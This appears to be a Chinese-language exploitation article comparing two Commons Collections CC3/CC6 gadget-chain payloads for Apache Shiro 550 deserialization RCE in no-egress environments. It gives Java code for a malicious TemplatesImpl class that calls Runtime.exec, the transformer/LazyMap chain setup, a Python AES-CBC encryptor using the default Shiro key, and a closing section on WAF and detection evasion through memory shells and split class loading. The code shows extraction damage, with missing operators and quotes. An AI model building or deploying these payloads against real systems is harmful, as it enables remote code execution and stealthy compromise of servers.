CC3与CC6链融合利用：Shiro 550漏洞不出网攻击的2种Payload构造对比

CC3与CC6链融合利用Shiro 550漏洞不出网攻击的2种Payload构造对比1. 漏洞背景与攻击场景分析Apache Shiro作为广泛使用的Java安全框架其550漏洞源于RememberMe功能的反序列化缺陷。攻击者可在不出网环境下通过精心构造的反序列化Payload实现远程代码执行。本文将深入剖析两种主流利用链——CC3与CC6的融合利用方案。关键限制条件目标环境仅包含Commons Collections 3.2.1无法依赖JRMP二次反序列化Tomcat环境下原生类加载机制的限制提示Shiro的AES加密密钥默认为kPHbIxk5D2deZiIxcaaaA加密模式为CBC使用随机IV2. 核心利用链技术原理2.1 CC6链核心组件// 关键调用链 HashMap.readObject() → TiedMapEntry.hashCode() → LazyMap.get() → Transformer.transform()优势特性不受JDK版本限制通过HashMap触发无需特殊依赖利用TiedMapEntry桥接LazyMap的get方法2.2 CC3链核心组件// 关键调用链 TemplatesImpl.newTransformer() → TrAXFilter构造函数 → InstantiateTransformer.transform()特殊价值直接操作字节码加载规避Transformer数组限制与CC6形成互补利用3. 两种Payload构造方案对比3.1 方案一CC6InvokerTransformer构造步骤准备TemplatesImpl恶意类public class Evil extends AbstractTranslet { public Evil() throws Exception { Runtime.getRuntime().exec(calc); } // 必须实现的抽象方法... }构建调用链Transformer invoker new InvokerTransformer(newTransformer, null, null); Map lazyMap LazyMap.decorate(new HashMap(), invoker); TiedMapEntry entry new TiedMapEntry(lazyMap, templatesImpl); HashMap expMap new HashMap(); expMap.put(entry, value);技术要点通过反射动态修改iMethodName字段需清除LazyMap初始键值避免提前触发最终通过HashMap#put触发调用链3.2 方案二CC6InstantiateTransformer构造步骤准备TemplatesImpl字节码ClassPool pool ClassPool.getDefault(); CtClass cc pool.makeClass(Evil); cc.makeClassInitializer().insertBefore(Runtime.getRuntime().exec(\calc\);); byte[] bytecodes cc.toBytecode();构建调用链Transformer instantiate new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templatesImpl}); Map lazyMap LazyMap.decorate(new HashMap(), new ConstantTransformer(1)); // 后续构造与方案一类似...技术要点利用TrAXFilter自动触发newTransformer需要更精确的类加载控制规避了直接方法调用检测3.3 方案对比矩阵对比维度CC6InvokerTransformerCC6InstantiateTransformer构造复杂度中等需反射修改字段较高需处理字节码依赖条件需要javassist生成字节码需要完整的类定义通用性跨环境稳定性较好对类加载器更敏感规避检测能力一般明显方法调用优秀通过构造函数触发内存占用较小较大需加载完整类4. 实战决策树与排错指南4.1 方案选择决策树是否允许直接方法调用? ├── 是 → 选择CC6InvokerTransformer方案 └── 否 → 选择CC6InstantiateTransformer方案 ├── 目标有javassist依赖? → 直接使用 └── 无javassist依赖 → 预生成字节码嵌入4.2 常见错误排查清单类加载失败问题检查_bytecodes字段是否正确设置确认_tfactory已初始化为TransformerFactoryImpl验证_name字段不为空序列化异常处理使用以下方法确保字段可访问void setFieldValue(Object obj, String field, Object value) throws Exception { Field f obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, value); }加密Payload生成def encrypt_payload(ser_bytes): key base64.b64decode(kPHbIxk5D2deZiIxcaaaA) iv os.urandom(16) cipher AES.new(key, AES.MODE_CBC, iv) pad lambda s: s (16 - len(s)%16) * chr(16 - len(s)%16) return base64.b64encode(iv cipher.encrypt(pad(ser_bytes)))5. 高级技巧与防御规避混合链构造技巧组合使用InvokerTransformer和InstantiateTransformer动态切换触发点应对WAF检测使用内存马替代命令执行反检测策略分散恶意代码到多个类加载阶段采用反射动态代理隐藏调用链使用BCEL等替代字节码加载方案在实际渗透测试中建议根据目标环境特征选择最适合的方案。CC6InvokerTransformer更适合快速验证而CC6InstantiateTransformer则在对抗安全防护时更具优势。